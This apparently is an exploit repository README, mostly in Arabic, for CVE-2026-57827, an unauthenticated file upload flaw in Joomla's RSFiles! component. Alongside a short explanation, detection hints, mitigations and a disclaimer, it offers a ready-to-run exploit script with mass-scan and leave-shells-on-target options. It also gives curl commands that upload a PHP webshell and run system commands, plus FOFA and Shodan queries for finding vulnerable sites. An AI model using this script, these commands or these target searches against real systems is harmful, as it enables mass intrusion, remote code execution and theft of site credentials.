
CVE-2026-57827 — مكوّن RSFiles! لـ Joomla: ثغرة رفع ملفات دون مصادقة تؤدي إلى تنفيذ أوامر عن بُعد. تجاوز رفع عبر وحدة تحكم مجزأة. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12
CVE-2026-57827 هي ثغرة رفع ملفات عشوائي غير مصادَق عليها بخطورة حرجة (CVSS 9.8) في RSFiles! (com_rsfiles)، وهو مكوّن إدارة ملفات وتنزيلات شائع الاستخدام في Joomla، وتؤثر في الإصدارات < 1.17.12.
تستغل الثغرة خللاً في تصميم وحدة التحكم المجزأة: يفصل RSFiles! عملية الرفع إلى مهمتين في الواجهة الأمامية — فحص أولي (بوابة صلاحيات + قائمة امتدادات مسموحة) وطريقة كتابة (تحفظ الملف على القرص). يمكن استدعاء طريقة الكتابة مباشرةً، متجاوزةً الفحص الأولي بالكامل. لا حاجة إلى أي مصادقة أو رمز CSRF.
| الإصدار | الحالة |
|---|---|
| < 1.17.12 | قابل للاستغلال |
| 1.17.12+ | تم التصحيح |
اكتُشفت بواسطة: Phil Taylor، mySites.guru (10 يوليو 2026) المطوّر: RSJoomla (rsjoomla.com) المكوّن: com_rsfiles
يقسّم RSFiles! عملية الرفع عبر مهمتين منفصلتين في الواجهة الأمامية داخل /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload، متجاوزةً الفحص الأولي بالكامل.JFile::upload())، الذي يقبل أي نوع ملفات افتراضيًا..htaccess الوقائي الذي يمنع تنفيذ PHP هناك هو إعداد إداري اختياري التفعيل ويكون معطَّلاً افتراضيًا.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
ابحث عن طلبات POST الموجهة إلى:
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
فحوصات الأمان (بوابة الصلاحيات + قائمة الامتدادات المسموحة) هي خطوة أولية منفصلة عن الطريقة التي تكتب الملف فعليًا. الأولى فقط تحتوي على الفحوصات. أما الثانية — التي تكتب على القرص — فيمكن استدعاؤها مباشرةً بصياغة معامل task المناسب في الرابط، متجاوزةً بذلك جميع ضوابط الأمان.
هذا مثال نموذجي على النمط المضاد «الفحوصات والإجراءات في أماكن مختلفة»: الحارس والعملية التي يُفترض أن يحميها منفصلان، ويستطيع المهاجم الوصول إلى العملية دون المرور عبر الحارس.
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
الخطوة 1 — رفع الصدفة
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
الخطوة 2 — الوصول إلى الصدفة
curl 'https://target.com/downloads/shell.php?c=id'
الخطوة 3 — تنفيذ الأوامر
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'
التخفيف (إن لم يكن التحديث ممكنًا)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
يحقق الاستغلال الناجح تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم خادم الويب:
configuration.php → بيانات اعتماد قاعدة البيانات وأسرار SMTPلا يلزم وجود حساب على الموقع في أي خطوة. مجهول الهوية، بدون مصادقة، وعن بُعد.
أصلحت RSJoomla الثغرة في الإصدار 1.17.12 عبر:
.htaccess في مجلد التنزيلات مفعَّلة افتراضيًالأغراض التعليم والاختبار المصرَّح به فقط.
لا تستخدمه ضد أي نظام دون إذن صريح من مالكه. لا يتحمّل المؤلفون أي مسؤولية عن سوء الاستخدام.
غير تابع لـ RSJoomla أو mySites.guru.
| الملف | الغرض |
|---|
/components/com_rsfiles/controllers/rsfiles.php | وحدة التحكم التي تحتوي على المهمتين القابلتين للاستغلال upload() وcheckupload() |
/components/com_rsfiles/views/upload/tmpl/upload.php | قالب نموذج الرفع في الواجهة الأمامية (مؤكد: name="file"، task=rsfiles.upload) |
/downloads/ | مجلد التنزيلات الافتراضي في جذر الويب (حماية .htaccess معطَّلة افتراضيًا) |
/briefcase/ | مجلد الحقيبة (قابل للكتابة أيضًا) |
| المورد | الرابط |
|---|
| سجل NVD | CVE-2026-57827 |
| نشرة mySites.guru الأمنية | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| نشرة RSJoomla الأمنية | rsjoomla.com |
| CWE-434 | الرفع غير المقيّد لملف من نوع خطير |
| المُبلِّغ | Phil Taylor، mySites.guru |